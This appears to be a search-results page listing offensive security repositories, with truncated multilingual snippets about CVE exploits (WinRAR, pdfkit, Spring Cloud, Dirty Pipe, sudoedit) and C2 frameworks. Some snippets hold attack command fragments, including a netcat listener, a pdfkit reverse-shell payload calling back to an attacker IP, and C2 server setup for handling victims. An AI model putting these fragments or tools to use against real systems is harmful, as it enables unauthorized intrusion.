34312 matches found
CVE-2023-38831_ReverseShell_Winrar-RCE
ERHALTEN EINER REVERSE-SHELL DURCH AUSNUTZUNG DER SCHWACHSTELLE CVE-2023-38831 IN WINRAR In diesem Repository nutzen wir die WinRAR-Schwachstelle CVE-2023-38831 aus, um eine Reverse-Shell vom Windows-Zielrechner auf den Kali-Linux-Angreiferrechner zu erhalten. VORBEREITENDE SCHRITTE Laden Sie den...
PwnTillDawn-Portal-Walkthrough
🔐 Valutazione della Vulnerabilità e Test di Penetrazione VAPT 📌 Progetto: Walkthrough di Sfruttamento del Target ⚠️ Questo progetto è solo per scopi educativi e di test autorizzati. L'accesso non autorizzato ai sistemi è severamente vietato. 👨💻 Autore SYAFIQ Ruolo: Penetration Tester Capo 🎯...
staystaystay
staystaystay staystaystay è un exploit proof of concept per CVE-2021-1585, un problema di RCE Remote Code Execution da man-in-the-middle o endpoint malintenzionato che affligge Cisco ASA Device Manager ASDM. Il problema è stato scoperto originariamente da Malcolm Lashley e divulgato nell'estate d...
RCE-in-Spring-Cloud-CVE-2022-22963
Exploit pour RCE dans Spring Cloud CVE-2022-22963 Exploit pour CVE-2022-22963 exécution de commandes à distance dans Spring Cloud Function Voir les détails de la vulnérabilité ici et ici PoC Lancez netcat sur votre hôte : root@kitploit: $ nc -lvnp 9001 Exécutez l'exploit exemple avec le port par...
zuthaka
A collaborative free open-source Command & Control integration framework that allows developers to concentrate on the core function and goal of their C2. Explore the docs » · Report Bug · Request Feature · Table of Contents 1. About The Project Problem statement Solution Built With 2. Already...
CVE-2015-4852
CVE-2015-4852 Prerequisito: è necessario posizionare ysoserial.jar nella directory dello script rinominare ysoserial-0.jar in ysoserial.jar, è preferibile eseguire lo script su Kali Linux 1. Utilizzo: root@kali: python3 CVE-2015-4852.py -h Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001...
cve-2016-0728-testbed
CVE-2016-0728 Testumgebung Dieses Repository enthält ein Testprogramm für CVE-2016-0728, einen Refcount-Leak und Overflow-Bug in Linux, der zu einem Use-After-Free führt. Der Bug wurde von Perception Point gefunden und erklärt. Ich bin nicht mit ihnen verbunden. Verwendung root@kitploit: Welcome ...
CVE-2026-79992
A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...
CVE-2025-6019
CVE-2025-6019 साक्ष्य-अवधारणा PoC इस रिपॉजिटरी में CVE-2025-6019 के लिए एक साक्ष्य-अवधारणा PoC स्क्रिप्ट है, जो libblockdev और udisks में एक स्थानीय विशेषाधिकार वृद्धि LPE भेद्यता है। स्क्रिप्ट SUID bash बाइनरी के साथ एक XFS फाइलसिस्टम इमेज बनाती है और nosuid विकल्प के बिना इसे माउंट करने के लिए...
webshell-analyzer
Web Shell Analyzer Web shell analyzer is a cross platform stand-alone binary built solely for the purpose of identifying, decoding, and tagging files that are suspected to be web shells. The web shell analyzer is the bigger brother to the web shell scanner project...
CVE-2015-6967
CVE-2015-6967 Nibbleblog 4.0.3 - Caricamento arbitrario di file CVE-2015-6967 requisiti python 3 requests utilizzo root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help mostra questo messaggio di aiuto ed esci --url...
Dirtypipe-exploit
Dirtypipe-exploit PoC di Dirty Pipe CVE-2022-0847 che dirotta un binario SUID per ottenere una shell di root. e tenta anche di ripristinare il binario danneggiato...
CVE-2023-22809-sudoedit-privesc
CVE-2023-22809 sudo Privilegieneskalation Betroffene sudo-Versionen: 1.8.0 bis 1.9.12p1 Dieses Skript automatisiert die Ausnutzung der Schwachstelle CVE-2023-22809, um eine Root-Shell zu erhalten. Das Skript prüft, ob der aktuelle Benutzer Zugriff hat, den Befehl sudoedit oder sudo -e für eine...
Port-enumeration
Enumerazione delle porte Ti è mai capitato di non avere la possibilità di usare NMap? Per esempio, se hai una reverse shell come utente non privilegiato e non ci sono strumenti utili preinstallati? Questo è un piccolo script che ti aiuterà a scansionare una rete se non hai nulla. Esempio di...
CVE-2019-7609
CVE-2019-7609 Le versioni di Kibana precedenti alla 5.6.15 e alla 6.6.1 contengono una falla di esecuzione arbitraria di codice nel visualizzatore Timelion. Un attaccante con accesso all'applicazione Timelion potrebbe inviare una richiesta che tenta di eseguire codice javascript. Ciò potrebbe...
CVE-2017-8809_MediaWiki_RFD
CVE-2017-8809 - RFD Reflected File Download für MediaWiki Ein entfernter Benutzer kann eine speziell präparierte URL für die Zielseite erstellen, die, wenn sie vom Zielbenutzer geladen wird, das Skript 'api.php' dazu bringt, eine Datei mit Shell-Befehlen herunterzuladen CVE-2017-8809. Die Datei...
sidedoor
sidedoor sidedoor mantiene una connessione SSH o un tunnel con un demone di script shell. Il caso d'uso principale è mantenere un forward di porta remoto verso il server SSH locale o un'altra porta. In questo modo, il dispositivo locale può essere raggiunto senza utilizzare connessioni in entrata...
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...
RedbloodC2
Öffentliche Version von Redblood C2 root@kitploit: This is a simple command and control server to handle sessions and your victims Installation root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Verwendung root@kitploit: After...